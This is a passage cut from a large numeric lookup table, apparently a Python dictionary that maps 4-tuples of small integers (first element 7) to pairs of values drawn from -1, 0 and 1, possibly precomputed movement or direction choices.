1), (7, 1, 5, -4): (0, 1), (7, 1, 5, -3): (0, 1), (7, 1, 5, -2): (0, 1), (7, 1, 5, -1): (0, 1), (7, 1, 5, 0): (0, 1), (7, 1, 5, 1): (0, 1), (7, 1, 5, 2): (0, 1), (7, 1, 5, 3): (0, 1), (7, 1, 5, 4): (0, 1), (7, 1, 5, 5): (0, 1), (7, 2, -5, -5): (0, 1), (7, 2, -5, -4): (0, 1), (7, 2, -5, -3): (0, 1), (7, 2, -5, -2): (0, 0), (7, 2, -5, -1): (-1, -1), (7, 2, -5, 0): (0, 1), (7, 2, -5, 1): (0, 1), (7, 2, -5, 2): (0, 1), (7, 2, -5, 3): (0, 1), (7, 2, -5, 4): (0, 1), (7, 2, -5, 5): (0, 1), (7, 2, -4, -5): (-1, 1), (7, 2, -4, -4): (-1, 1), (7, 2, -4, -3): (-1, 1), (7, 2, -4, -2): (-1, 0), (7, 2, -4, -1): (-1, -1), (7, 2, -4, 0): (0, 1), (7, 2, -4, 1): (0, 1), (7, 2, -4, 2): (0, 1), (7, 2, -4, 3): (0, 1), (7, 2, -4, 4): (0, 1), (7, 2, -4, 5): (0, 1), (7, 2, -3, -5): (-1, 1), (7, 2, -3, -4): (-1, 1), (7, 2, -3, -3): (-1, 1), (7, 2, -3, -2): (-1, 0), (7, 2, -3, -1): (-1, -1), (7, 2, -3, 0): (0, 1), (7, 2, -3, 1): (0, 1), (7, 2, -3, 2): (0, 1), (7, 2, -3, 3): (0, 1), (7, 2, -3, 4): (0, 1), (7, 2, -3, 5): (0, 1), (7, 2, -2, -5): (-1, 1), (7, 2, -2, -4): (-1, 1), (7, 2, -2, -3): (-1, 1), (7, 2, -2, -2): (-1, 0), (7, 2, -2, -1): (0, 1), (7, 2, -2, 0): (1, 1), (7, 2, -2, 1): (1, 1), (7, 2, -2, 2): (1, 1), (7, 2, -2, 3): (1, 1), (7, 2, -2, 4): (1, 1), (7, 2, -2, 5): (1, 0), (7, 2, -1, -5): (0, 1), (7, 2, -1, -4): (0, 1), (7, 2, -1, -3): (0, 1), (7, 2, -1, -2): (-1, 1), (7, 2, -1, -1): (1, 1), (7, 2, -1, 0): (1, 1), (7, 2, -1, 1): (1, 1), (7, 2, -1, 2): (1, 1), (7, 2, -1, 3): (1, 1), (7, 2, -1, 4): (1, 1), (7, 2, -1, 5): (1, 0), (7, 2, 0, -5): (1, 0), (7, 2, 0, -4): (1, 0), (7, 2, 0, -3): (1, 0), (7, 2, 0, -2): (1, 0), (7, 2, 0, -1): (1, 1), (7, 2, 0, 0): (1, 1), (7, 2, 0, 1): (1, 1), (7, 2, 0, 2): (0, 1), (7, 2, 0, 3): (0, 1), (7, 2, 0, 4): (1, 1), (7, 2, 0, 5): (1, 0), (7, 2, 1, -5): (1, 0), (7, 2, 1, -4): (1, 0), (7, 2, 1, -3): (1, 0), (7, 2, 1, -2): (1, 0), (7, 2, 1, -1): (0, 1), (7, 2, 1, 0): (0, 1), (7, 2, 1, 1): (0, 1), (7, 2, 1, 2): (-1, 1), (7, 2, 1, 3): (-1, 1), (7, 2, 1, 4): (0, 1), (7, 2, 1, 5): (0, 1), (7, 2, 2, -5): (0, 1), (7, 2, 2, -4): (0, 1), (7, 2, 2, -3): (0, 1), (7, 2, 2, -2): (0, 0), (7, 2, 2, -1): (1, 1), (7, 2, 2, 0): (-1, 1), (7, 2, 2, 1): (-1, 1), (7, 2, 2, 2): (-1, 1), (7, 2, 2, 3): (-1, 1), (7, 2, 2, 4): (-1, 1), (7, 2, 2, 5): (-1, 1), (7, 2, 3, -5): (0, 1), (7, 2, 3, -4): (0, 1), (7, 2, 3, -3): (0, 1), (7, 2, 3, -2): (0, 1), (7, 2, 3, -1): (0, 1), (7, 2, 3, 0): (0, 1), (7, 2, 3, 1): (0, 1), (7, 2, 3, 2): (0, 1), (7, 2, 3, 3): (-1, 1), (7, 2, 3, 4): (-1, 1), (7, 2, 3, 5): (-1, 1), (7, 2, 4, -5): (0, 1), (7, 2, 4, -4): (0, 1), (7, 2, 4, -3): (0, 1), (7, 2, 4, -2): (0, 1), (7, 2, 4, -1): (0, 1), (7, 2, 4, 0): (0, 1), (7, 2, 4, 1): (0, 1), (7, 2, 4, 2): (0, 1), (7, 2, 4, 3): (0, 1), (7, 2, 4, 4): (0, 1), (7, 2, 4, 5): (0, 1), (7, 2, 5, -5): (0, 1), (7, 2, 5, -4): (0, 1), (7, 2, 5, -3): (0, 1), (7, 2, 5, -2): (0, 1), (7, 2, 5, -1): (0, 1), (7, 2, 5, 0): (0, 1), (7, 2, 5, 1): (0, 1), (7, 2, 5, 2): (0, 1), (7, 2, 5, 3): (0, 1), (7, 2, 5, 4): (0, 1), (7, 2, 5, 5): (0, 1), (7, 3, -5, -5): (0, 1), (7, 3, -5, -4): (0, 1), (7, 3, -5, -3): (0, 0), (7, 3, -5, -2): (-1, -1), (7, 3, -5, -1): (0, 1), (7, 3, -5, 0): (0, 1), (7, 3, -5, 1): (0, 1), (7, 3, -5, 2): (0, 1), (7, 3, -5, 3): (0, 1), (7, 3, -5, 4): (0, 1), (7, 3, -5, 5): (0, 1), (7, 3, -4, -5): (-1, 1), (7, 3, -4, -4): (-1, 1), (7, 3, -4, -3): (-1, 0), (7, 3, -4, -2): (-1, -1), (7, 3, -4, -1): (0, 1), (7, 3, -4, 0): (0, 1), (7, 3, -4, 1): (0, 1), (7, 3, -4, 2): (0, 1), (7, 3, -4, 3): (0, 1), (7, 3, -4, 4): (0, 1), (7, 3, -4, 5): (0, 1), (7, 3, -3, -5): (-1, 1), (7, 3, -3, -4): (-1, 1), (7, 3, -3, -3): (-1, 0), (7, 3, -3, -2): (-1, -1), (7, 3, -3, -1): (0, 1), (7, 3, -3, 0): (0, 1), (7, 3, -3, 1): (0, 1), (7, 3, -3, 2): (0, 1), (7, 3, -3, 3): (0, 1), (7, 3, -3, 4): (0, 1), (7, 3, -3, 5): (0, 1), (7, 3, -2, -5): (-1, 1), (7, 3, -2, -4): (-1, 1), (7, 3, -2, -3): (-1, 0), (7, 3, -2, -2): (0, 1), (7, 3, -2, -1): (0, 1), (7, 3, -2, 0): (1, 1), (7, 3, -2, 1): (1, 1), (7, 3, -2, 2): (1, 1), (7, 3, -2, 3): (1, 1), (7, 3, -2, 4): (1, 1), (7, 3, -2, 5): (1, 0), (7, 3, -1, -5): (0, 1), (7, 3, -1, -4): (0, 1), (7, 3, -1, -3): (-1, 1), (7, 3, -1, -2): (-1, 1), (7, 3, -1, -1): (1, 1), (7, 3, -1, 0): (1, 1), (7, 3, -1, 1): (1, 1), (7, 3, -1, 2): (1, 1), (7, 3, -1, 3): (1, 1), (7, 3, -1, 4): (1, 1), (7, 3, -1, 5): (1, 0), (7, 3, 0, -5): (1, 0), (7, 3, 0, -4): (1, 0), (7, 3, 0, -3): (1, 0), (7, 3, 0, -2): (1, -1), (7, 3, 0, -1): (1, 1), (7, 3, 0, 0): (1, 1), (7, 3, 0, 1): (1, 1), (7, 3, 0, 2): (1, 1), (7, 3, 0, 3): (1, 1), (7, 3, 0, 4): (1, 1), (7, 3, 0, 5): (1, 0), (7, 3, 1, -5): (1, 0), (7, 3, 1, -4): (1, 0), (7, 3, 1, -3): (1, 0), (7, 3, 1, -2): (1, -1), (7, 3, 1, -1): (0, 1), (7, 3, 1, 0): (0, 1), (7, 3, 1, 1): (0, 1), (7, 3, 1, 2): (0, 1), (7, 3, 1, 3): (0, 1), (7, 3, 1, 4): (0, 1), (7, 3, 1, 5): (0, 1), (7, 3, 2, -5): (0, 1), (7, 3, 2, -4): (0, 1), (7, 3, 2, -3): (0, 0), (7, 3, 2, -2): (1, 1), (7, 3, 2, -1): (1, 1), (7, 3, 2, 0): (-1, 1), (7, 3, 2, 1): (-1, 1), (7, 3, 2, 2): (-1, 1), (7, 3, 2, 3): (-1, 1), (7, 3, 2, 4): (-1, 1), (7, 3, 2, 5): (-1, 1), (7, 3, 3, -5): (0, 1), (7, 3, 3, -4): (0, 1), (7, 3, 3, -3): (0, 1), (7, 3, 3, -2): (0, 1), (7, 3, 3, -1): (0, 1), (7, 3, 3, 0): (0, 1), (7, 3, 3, 1): (0, 1), (7, 3, 3, 2): (0, 1), (7, 3, 3, 3): (-1, 1), (7, 3, 3, 4): (-1, 1), (7, 3, 3, 5): (-1, 1), (7, 3, 4, -5): (0, 1), (7, 3, 4, -4): (0, 1), (7, 3, 4, -3): (0, 1), (7, 3, 4, -2): (0, 1), (7, 3, 4, -1): (0, 1), (7, 3, 4, 0): (0, 1), (7, 3, 4, 1): (0, 1), (7, 3, 4, 2): (0, 1), (7, 3, 4, 3): (0, 1), (7, 3, 4, 4): (0, 1), (7, 3, 4, 5): (0, 1), (7, 3, 5, -5): (0, 1), (7, 3, 5, -4): (0, 1), (7, 3, 5, -3): (0, 1), (7, 3, 5, -2): (0, 1), (7, 3, 5, -1): (0, 1), (7, 3, 5, 0): (0, 1), (7, 3, 5, 1): (0, 1), (7, 3, 5, 2): (0, 1), (7, 3, 5, 3): (0, 1), (7, 3, 5, 4): (0, 1), (7, 3, 5, 5): (0, 1), (7, 4, -5, -5): (0, 1), (7, 4, -5, -4): (0, 0), (7, 4, -5, -3): (-1, -1), (7, 4, -5, -2): (0, 1), (7, 4, -5, -1): (0, 1), (7, 4, -5, 0): (0, 1), (7, 4, -5, 1): (0, 1), (7, 4, -5, 2): (0, 1), (7, 4, -5, 3): (0, 1), (7, 4, -5, 4): (0, 1), (7, 4, -5, 5): (0, 1), (7, 4, -4, -5): (-1, 1), (7, 4, -4, -4): (-1, 0), (7, 4, -4, -3): (-1, -1), (7, 4, -4, -2): (0, 1), (7, 4, -4, -1): (0, 1), (7, 4, -4, 0): (0, 1), (7, 4, -4, 1): (0, 1), (7, 4, -4, 2): (0, 1), (7, 4, -4, 3): (0, 1), (7, 4, -4, 4): (0, 1), (7, 4, -4, 5): (0, 1), (7, 4, -3, -5): (-1, 1), (7, 4, -3, -4): (-1, 0), (7, 4, -3, -3): (-1, -1), (7, 4, -3, -2): (0, 1), (7, 4, -3, -1): (0, 1), (7, 4, -3, 0): (0, 1), (7, 4, -3, 1): (0, 1), (7, 4, -3, 2): (0, 1), (7, 4, -3, 3): (0, 1), (7, 4, -3, 4): (0, 1), (7, 4, -3, 5): (0, 1), (7, 4, -2, -5): (-1, 1), (7, 4, -2, -4): (-1, 0), (7, 4, -2, -3): (0, 1), (7, 4, -2, -2): (0, 1), (7, 4, -2, -1): (0, 1), (7, 4, -2, 0): (1, 1), (7, 4, -2, 1): (1, 1), (7, 4, -2, 2): (1, 1), (7, 4, -2, 3): (1, 1), (7, 4, -2, 4): (1, 1), (7, 4, -2, 5): (1, 0), (7, 4, -1, -5): (0, 1), (7, 4, -1, -4): (-1, 1), (7, 4, -1, -3): (-1, 1), (7, 4, -1, -2): (-1, 1), (7, 4, -1, -1): (1, 1), (7, 4, -1, 0): (1, 1), (7, 4, -1, 1): (1, 1), (7, 4, -1, 2): (1, 1), (7, 4, -1, 3): (1, 1), (7, 4, -1, 4): (1, 1), (7, 4, -1, 5): (1, 0), (7, 4, 0, -5): (1, 0), (7, 4, 0, -4): (1, 0), (7, 4, 0, -3): (1, -1), (7, 4, 0, -2): (-1, 1), (7, 4, 0, -1): (1, 1), (7, 4, 0, 0): (1, 1), (7, 4, 0, 1): (1, 1), (7, 4, 0, 2): (0, 1), (7, 4, 0, 3): (1, 1), (7, 4, 0, 4): (0, 1), (7, 4, 0, 5): (0, 1), (7, 4, 1, -5): (1, 0), (7, 4, 1, -4): (1, 0), (7, 4, 1, -3): (1, -1), (7, 4, 1, -2): (1, 1), (7, 4, 1, -1): (0, 1), (7, 4, 1, 0): (0, 1), (7, 4, 1, 1): (0, 1), (7, 4, 1, 2): (-1, 1), (7, 4, 1, 3): (0, 1), (7, 4, 1, 4): (-1, 1), (7, 4, 1, 5): (-1, 1), (7, 4, 2, -5): (0, 1), (7, 4, 2, -4): (0, 0), (7, 4, 2, -3): (1, 1), (7, 4, 2, -2): (1, 1), (7, 4, 2, -1): (1, 1), (7, 4, 2, 0): (-1, 1), (7, 4, 2, 1): (-1, 1), (7, 4, 2, 2): (-1, 1), (7, 4, 2, 3): (-1, 1), (7, 4, 2, 4): (-1, 1), (7, 4, 2, 5): (-1, 1), (7, 4, 3, -5): (0, 1), (7, 4, 3, -4): (0, 1), (7, 4, 3, -3): (0, 1), (7, 4, 3, -2): (0, 1), (7, 4, 3, -1): (0, 1), (7, 4, 3, 0): (0, 1), (7, 4, 3, 1): (0, 1), (7, 4, 3, 2): (0, 1), (7, 4, 3, 3): (-1, 1), (7, 4, 3, 4): (-1, 1), (7, 4, 3, 5): (-1, 1), (7, 4, 4, -5): (0, 1), (7, 4, 4, -4): (0, 1), (7, 4, 4, -3): (0, 1), (7, 4, 4, -2): (0, 1), (7, 4, 4, -1): (0, 1), (7, 4, 4, 0): (0, 1), (7, 4, 4, 1): (0, 1), (7, 4, 4, 2): (0, 1), (7, 4, 4, 3): (0, 1), (7, 4, 4, 4): (0, 1), (7, 4, 4, 5): (0, 1), (7, 4, 5, -5): (0, 1), (7, 4, 5, -4): (0, 1), (7, 4, 5, -3): (0, 1), (7, 4, 5, -2): (0, 1), (7, 4, 5, -1): (0, 1), (7, 4, 5, 0): (0, 1), (7, 4, 5, 1): (0, 1), (7, 4, 5, 2): (0, 1), (7, 4, 5, 3): (0, 1), (7, 4, 5, 4): (0, 1), (7, 4, 5, 5): (0, 1), (7, 5, -5, -5): (0, 0), (7, 5, -5, -4): (-1, -1), (7, 5, -5, -3): (0, 1), (7, 5, -5, -2): (0, 1), (7, 5, -5, -1): (0, 1), (7, 5, -5, 0): (0, 1), (7, 5, -5, 1): (0, 1), (7, 5, -5, 2): (0, 1), (7, 5, -5, 3): (0, 1), (7, 5, -5, 4): (0, 1), (7, 5, -5, 5): (0, 1), (7, 5, -4, -5): (-1, 0), (7, 5, -4, -4): (-1, -1), (7, 5, -4, -3): (0, 1), (7, 5, -4, -2): (0, 1), (7, 5, -4, -1): (0, 1), (7, 5, -4, 0): (0, 1), (7, 5, -4, 1): (0, 1), (7, 5, -4, 2): (0, 1), (7, 5, -4, 3): (0, 1), (7, 5, -4, 4): (0, 1), (7, 5, -4, 5): (0, 1), (7, 5, -3, -5): (-1, 0), (7, 5, -3, -4): (-1, -1), (7, 5, -3, -3): (0, 1), (7, 5, -3, -2): (0, 1), (7, 5, -3, -1): (0, 1), (7, 5, -3, 0): (0, 1), (7, 5, -3, 1): (0, 1), (7, 5, -3, 2): (0, 1), (7, 5, -3, 3): (0, 1), (7, 5, -3, 4): (0, 1), (7, 5, -3, 5): (0, 1), (7, 5, -2, -5): (-1, 0), (7, 5, -2, -4): (0, 1), (7, 5, -2, -3): (0, 1), (7, 5, -2, -2): (0, 1), (7, 5, -2, -1): (0, 1), (7, 5, -2, 0): (1, 1), (7, 5, -2, 1): (1, 1), (7, 5, -2, 2): (1, 1), (7, 5, -2, 3): (1, 1), (7, 5, -2, 4): (1, 1), (7, 5, -2, 5): (1, 0), (7, 5, -1, -5): (-1, 1), (7, 5, -1, -4): (-1, 1), (7, 5, -1, -3): (-1, 1), (7, 5, -1, -2): (-1, 1), (7, 5, -1, -1): (1, 1), (7, 5, -1, 0): (1, 1), (7, 5, -1, 1): (1, 1), (7, 5, -1, 2): (1, 1), (7, 5, -1, 3): (1, 1), (7, 5, -1, 4): (1, 1), (7, 5, -1, 5): (1, 0), (7, 5, 0, -5): (1, 0), (7, 5, 0, -4): (1, -1), (7, 5, 0, -3): (-1, 1), (7, 5, 0, -2): (-1, 1), (7, 5, 0, -1): (1, 1), (7, 5, 0, 0): (1, 1), (7, 5, 0, 1): (1, 1), (7, 5, 0, 2): (1, 1), (7, 5, 0, 3): (0, 1), (7, 5, 0, 4): (0, 1), (7, 5, 0, 5): (0, 1), (7, 5, 1, -5): (1, 0), (7, 5, 1, -4): (1, -1), (7, 5, 1, -3): (1, 1), (7, 5, 1, -2): (1, 1), (7, 5, 1, -1): (0, 1), (7, 5, 1, 0): (0, 1), (7, 5, 1, 1): (0, 1), (7, 5, 1, 2): (0, 1), (7, 5, 1, 3): (-1, 1), (7, 5, 1, 4): (-1, 1), (7, 5, 1, 5): (-1, 1), (7, 5, 2, -5): (0, 0), (7, 5, 2, -4): (1, 1), (7, 5, 2, -3): (1, 1), (7, 5, 2, -2): (1, 1), (7, 5, 2, -1): (1, 1), (7, 5, 2, 0): (-1, 1), (7, 5, 2, 1): (-1, 1), (7, 5, 2, 2): (-1, 1), (7, 5, 2, 3): (-1, 1), (7, 5, 2, 4): (-1, 1), (7, 5, 2, 5): (-1, 1), (7, 5, 3, -5): (0, 1), (7, 5, 3, -4): (0, 1), (7, 5, 3, -3): (0, 1), (7, 5, 3, -2): (0, 1), (7, 5, 3, -1): (0, 1), (7, 5, 3, 0): (0, 1), (7, 5, 3, 1): (0, 1), (7, 5, 3, 2): (0, 1), (7, 5, 3, 3): (-1, 1), (7, 5, 3, 4): (0, 1), (7, 5, 3, 5): (0, 1), (7, 5, 4, -5): (0, 1), (7, 5, 4, -4): (0, 1), (7, 5, 4, -3): (0, 1), (7, 5, 4, -2): (0, 1), (7, 5, 4, -1): (0, 1), (7, 5, 4, 0): (0, 1), (7, 5, 4, 1): (0, 1), (7, 5, 4, 2): (0, 1), (7, 5, 4, 3): (0, 1), (7, 5, 4, 4): (0, 1), (7, 5, 4, 5): (0, 1), (7, 5, 5, -5): (0, 1), (7, 5, 5, -4): (0, 1), (7, 5, 5, -3): (0, 1), (7, 5, 5, -2): (0, 1), (7, 5, 5, -1): (0, 1), (7, 5, 5, 0): (0, 1), (7, 5, 5, 1): (0, 1), (7, 5, 5, 2): (0, 1), (7, 5, 5, 3): (0, 1), (7, 5, 5, 4): (0, 1), (7, 5, 5, 5): (0, 1), (7, 6, -5, -5): (0, 1), (7, 6, -5, -4): (0, 1), (7, 6, -5, -3): (0, 1), (7, 6, -5, -2): (0, 1), (7, 6, -5, -1): (0, 1), (7, 6, -5, 0): (0, 1), (7, 6, -5, 1): (0, 1), (7, 6, -5, 2): (0, 1), (7, 6, -5, 3): (0, 1), (7, 6, -5, 4): (0, 1), (7, 6, -5, 5): (0, 1), (7, 6, -4, -5): (0, 1), (7, 6, -4, -4): (0, 1), (7, 6, -4, -3): (0, 1), (7, 6, -4, -2): (0, 1), (7, 6, -4, -1): (0, 1), (7, 6, -4, 0): (0, 1), (7, 6, -4, 1): (0, 1), (7, 6, -4, 2): (0, 1), (7, 6, -4, 3): (0, 1), (7, 6, -4, 4): (0, 1), (7, 6, -4, 5): (0, 1), (7, 6, -3, -5): (0, 1), (7, 6, -3, -4): (0, 1), (7, 6, -3, -3): (0, 1), (7, 6, -3, -2): (0, 1), (7, 6, -3, -1): (0, 1), (7, 6, -3, 0): (0, 1), (7, 6, -3, 1): (0, 1), (7, 6, -3, 2): (0, 1), (7, 6, -3, 3): (0, 1), (7, 6, -3, 4): (0, 1), (7, 6, -3, 5): (0, 1), (7, 6, -2, -5): (0, 1), (7, 6, -2, -4): (0, 1), (7, 6, -2, -3): (0, 1), (7, 6, -2, -2): (0, 1), (7, 6, -2, -1): (0, 1), (7, 6, -2, 0): (1, 1), (7, 6, -2, 1): (1, 1), (7, 6, -2, 2): (1, 1), (7, 6, -2, 3): (1, 1), (7, 6, -2, 4): (1, 1), (7, 6, -2, 5): (1, 0), (7, 6, -1, -5): (-1, 1), (7, 6, -1, -4): (-1, 1), (7, 6, -1, -3): (-1, 1), (7, 6, -1, -2): (-1, 1), (7, 6, -1, -1): (1, 1), (7, 6, -1, 0): (1, 1), (7, 6, -1, 1): (1, 1), (7, 6, -1, 2): (1, 1), (7, 6, -1, 3): (1, 1), (7, 6, -1, 4): (1, 1), (7, 6, -1, 5): (1, 0), (7, 6, 0, -5): (-1, 1), (7, 6, 0, -4): (-1, 1), (7, 6, 0, -3): (-1, 1), (7, 6, 0, -2): (1, 1), (7, 6, 0, -1): (1, 1), (7, 6, 0, 0): (1, 1), (7, 6, 0, 1): (1, 1), (7, 6, 0, 2): (1, 1), (7, 6, 0, 3): (0, 1), (7, 6, 0, 4): (0, 1), (7, 6, 0, 5): (0, 1), (7, 6, 1, -5): (0, 1), (7, 6, 1, -4): (0, 1), (7, 6, 1, -3): (1, 1), (7, 6, 1, -2): (1, 1), (7, 6, 1, -1): (0, 1), (7, 6, 1, 0): (0, 1), (7, 6, 1, 1): (0, 1), (7, 6, 1, 2): (0, 1), (7, 6, 1, 3): (-1, 1), (7, 6, 1, 4): (-1, 1), (7, 6, 1, 5): (-1, 1), (7, 6, 2, -5): (1, 1), (7, 6, 2, -4): (1, 1), (7, 6, 2, -3): (1, 1), (7, 6, 2, -2): (1, 1), (7, 6, 2, -1): (1, 1), (7, 6, 2, 0): (-1, 1), (7, 6, 2, 1): (-1, 1), (7, 6, 2, 2): (-1, 1), (7, 6, 2, 3): (-1, 1), (7, 6, 2, 4): (-1, 1), (7, 6, 2, 5): (-1, 1), (7, 6, 3, -5): (0, 1), (7, 6, 3, -4): (0, 1), (7, 6, 3, -3): (0, 1), (7, 6, 3, -2): (0, 1), (7, 6, 3, -1): (0, 1), (7, 6, 3, 0): (0, 1), (7, 6, 3, 1): (0, 1), (7, 6, 3, 2): (0, 1), (7, 6, 3, 3): (0, 1), (7, 6, 3, 4): (-1, 1), (7, 6, 3, 5): (-1, 1), (7, 6, 4, -5): (0, 1), (7, 6, 4, -4): (0, 1), (7, 6, 4, -3): (0, 1), (7, 6, 4, -2): (0, 1), (7, 6, 4, -1): (0, 1), (7, 6, 4, 0): (0, 1), (7, 6, 4, 1): (0, 1), (7, 6, 4, 2): (0, 1), (7, 6, 4, 3): (0, 1), (7, 6, 4, 4): (0, 1), (7, 6, 4, 5): (0, 1), (7, 6, 5, -5): (0, 1), (7, 6, 5, -4): (0, 1), (7, 6, 5, -3): (0, 1), (7, 6, 5, -2): (0, 1), (7, 6, 5, -1): (0, 1), (7, 6, 5, 0): (0, 1), (7, 6, 5, 1): (0, 1), (7, 6, 5, 2): (0, 1), (7, 6, 5, 3): (0, 1), (7, 6, 5, 4): (0, 1), (7, 6, 5, 5): (0, 1), (7, 7, -5, -5): (0, 1), (7, 7, -5, -4): (0, 1), (7, 7, -5, -3): (0, 1), (7, 7, -5, -2): (0, 1), (7, 7, -5, -1): (0, 1), (7, 7, -5, 0): (0, 1), (7, 7, -5, 1): (0, 1), (7, 7, -5, 2): (0, 1), (7, 7, -5, 3): (0, 1), (7, 7, -5, 4): (0, 1), (7, 7, -5, 5): (0, 1), (7, 7, -4, -5): (0, 1), (7, 7, -4, -4): (0, 1), (7, 7, -4, -3): (0, 1), (7, 7, -4, -2): (0, 1), (7, 7, -4, -1): (0, 1), (7, 7, -4, 0): (0, 1), (7, 7, -4, 1): (0, 1), (7, 7, -4, 2): (0, 1), (7, 7, -4, 3): (0, 1), (7, 7, -4, 4): (0, 1), (7, 7, -4, 5): (0, 1), (7, 7, -3, -5): (0, 1), (7, 7, -3, -4): (0, 1), (7, 7, -3, -3): (0, 1), (7, 7, -3, -2): (0, 1), (7, 7, -3, -1): (0, 1), (7, 7, -3, 0): (0, 1), (7, 7, -3, 1): (0, 1), (7, 7, -3, 2): (0, 1), (7, 7, -3, 3): (0, 1), (7, 7, -3, 4): (0, 1), (7, 7, -3, 5): (0, 1), (7, 7, -2, -5): (0, 1), (7, 7, -2, -4): (0, 1), (7, 7, -2, -3): (0, 1), (7, 7, -2, -2): (0, 1), (7, 7, -2, -1): (0, 1), (7, 7, -2, 0): (1, 1), (7, 7, -2, 1): (1, 1), (7, 7, -2, 2): (1, 1), (7, 7, -2, 3): (1, 1), (7, 7, -2, 4): (1, 1), (7, 7, -2, 5): (1, 0), (7, 7, -1, -5): (-1, 1), (7, 7, -1, -4): (-1, 1), (7, 7, -1, -3): (-1, 1), (7, 7, -1, -2): (-1, 1), (7, 7, -1, -1): (1, 1), (7, 7, -1, 0): (1, 1), (7, 7, -1, 1): (1, 1), (7, 7, -1, 2): (1, 1), (7, 7, -1, 3): (1, 1), (7, 7, -1, 4): (1, 1), (7, 7, -1, 5): (1, 0), (7, 7, 0, -5): (-1, 1), (7, 7, 0, -4): (-1, 1), (7, 7, 0, -3): (-1, 1), (7, 7, 0, -2): (-1, 1), (7, 7, 0, -1): (1, 1), (7, 7, 0, 0): (1, 1), (7, 7, 0, 1): (0, 1), (7, 7, 0, 2): (1, 1), (7, 7, 0, 3): (0, 1), (7, 7, 0, 4): (1, 1), (7, 7, 0, 5): (1, 0), (7, 7, 1, -5): (0, 1), (7, 7, 1, -4): (1, 1), (7, 7, 1, -3): (1, 1), (7, 7, 1, -2): (1, 1), (7, 7, 1, -1): (0, 1), (7, 7, 1, 0): (0, 1), (7, 7, 1, 1): (-1, 1), (7, 7, 1, 2): (0, 1), (7, 7, 1, 3): (-1, 1), (7, 7, 1, 4): (0, 1), (7, 7, 1, 5): (0, 1), (7, 7, 2, -5): (1, 1), (7, 7, 2, -4): (1, 1), (7, 7, 2, -3): (1, 1), (7, 7, 2, -2): (1, 1), (7, 7, 2, -1): (1, 1), (7, 7, 2, 0): (-1, 1), (7, 7, 2, 1): (-1, 1), (7, 7, 2, 2): (-1, 1), (7, 7, 2, 3): (-1, 1), (7, 7, 2, 4): (-1, 1), (7, 7, 2, 5): (-1, 1), (7, 7, 3, -5): (0, 1), (7, 7, 3, -4): (0, 1), (7, 7, 3, -3): (0, 1), (7, 7, 3, -2): (0, 1), (7, 7, 3, -1): (0, 1), (7, 7, 3, 0): (0, 1), (7, 7, 3, 1): (0, 1), (7, 7, 3, 2): (0, 1), (7, 7, 3, 3): (0, 1), (7, 7, 3, 4): (-1, 1), (7, 7, 3, 5): (-1, 1), (7, 7, 4, -5): (0, 1), (7, 7, 4, -4): (0, 1), (7, 7, 4, -3): (0, 1), (7, 7, 4, -2): (0, 1), (7, 7, 4, -1): (0, 1), (7, 7, 4, 0): (0, 1), (7, 7, 4, 1): (0, 1), (7, 7, 4, 2): (0, 1), (7, 7, 4, 3): (0, 1), (7, 7, 4, 4): (0, 1), (7, 7, 4, 5): (0, 1), (7, 7, 5, -5): (0, 1), (7, 7, 5, -4): (0, 1), (7, 7, 5, -3): (0, 1), (7, 7, 5, -2): (0, 1), (7, 7, 5, -1): (0, 1), (7, 7, 5, 0): (0, 1), (7, 7, 5, 1): (0, 1), (7, 7, 5, 2): (0, 1), (7, 7, 5, 3): (0, 1), (7, 7, 5, 4): (0, 1), (7, 7, 5, 5): (0, 1), (7, 8, -5, -5): (0, 1), (7, 8, -5, -4): (0, 1), (7, 8, -5, -3): (0, 1), (7, 8, -5, -2): (0, 1), (7, 8, -5, -1): (0, 1), (7, 8, -5, 0): (0, 1), (7, 8, -5, 1): (0, 1), (7, 8, -5, 2): (0, 1), (7, 8, -5, 3): (0, 1), (7, 8, -5, 4): (0, 1), (7, 8, -5, 5): (0, 1), (7, 8, -4, -5): (0, 1), (7, 8, -4, -4): (0, 1), (7, 8, -4, -3): (0, 1), (7, 8, -4, -2): (0, 1), (7, 8, -4, -1): (0, 1), (7, 8, -4, 0): (0, 1), (7, 8, -4, 1): (0, 1), (7, 8, -4, 2): (0, 1), (7, 8, -4, 3): (0, 1), (7, 8, -4, 4): (0, 1), (7, 8, -4, 5): (0, 1), (7, 8, -3, -5): (0, 1), (7, 8, -3, -4): (0, 1), (7, 8, -3, -3): (0, 1), (7, 8, -3, -2): (0, 1), (7, 8, -3, -1): (0, 1), (7, 8, -3, 0): (0, 1), (7, 8, -3, 1): (0, 1), (7, 8, -3, 2): (0, 1), (7, 8, -3, 3): (0, 1), (7, 8, -3, 4): (0, 1), (7, 8, -3, 5): (0, 1), (7, 8, -2, -5): (0, 1), (7, 8, -2, -4): (0, 1), (7, 8, -2, -3): (0, 1), (7, 8, -2, -2): (0, 1), (7, 8, -2, -1): (0, 1), (7, 8, -2, 0): (1, 1), (7, 8, -2, 1): (1, 1), (7, 8, -2, 2): (1, 1), (7, 8, -2, 3): (1, 1), (7, 8, -2, 4): (1, 1), (7, 8, -2, 5): (1, 0), (7, 8, -1, -5): (-1, 1), (7, 8, -1, -4): (-1, 1), (7, 8, -1, -3): (-1, 1), (7, 8, -1, -2): (-1, 1), (7, 8, -1, -1): (1, 1), (7, 8, -1, 0): (1, 1), (7, 8, -1, 1): (1, 1), (7, 8, -1, 2): (1, 1), (7, 8, -1, 3): (1, 1), (7, 8, -1, 4): (1, 1), (7, 8, -1, 5): (1, 0), (7, 8, 0, -5): (-1, 1), (7, 8, 0, -4): (-1, 1), (7, 8, 0, -3): (-1, 1), (7, 8, 0, -2): (-1, 1), (7, 8, 0, -1): (1, 1), (7, 8, 0, 0): (1, 1), (7, 8, 0, 1): (1, 1), (7, 8, 0, 2): (0, 1), (7, 8, 0, 3): (1, 1), (7, 8, 0, 4): (0, 1), (7, 8, 0, 5): (0, 1), (7, 8, 1, -5): (0, 1), (7, 8, 1, -4): (1, 1), (7, 8, 1, -3): (1, 1), (7, 8, 1, -2): (1, 1), (7, 8, 1, -1): (0, 1), (7, 8, 1, 0): (0, 1), (7, 8, 1, 1): (0, 1), (7, 8, 1, 2): (-1, 1), (7, 8, 1, 3): (0, 1), (7, 8, 1, 4): (-1, 1), (7, 8, 1, 5): (-1, 1), (7, 8, 2, -5): (1, 1), (7, 8, 2, -4): (1, 1), (7, 8, 2, -3): (1, 1), (7, 8, 2, -2): (1, 1), (7, 8, 2, -1): (1, 1), (7, 8, 2, 0): (-1, 1), (7, 8, 2, 1): (-1, 1), (7, 8, 2, 2): (-1, 1), (7, 8, 2, 3): (-1, 1), (7, 8, 2, 4): (-1, 1), (7, 8, 2, 5): (-1, 1), (7, 8, 3, -5): (0, 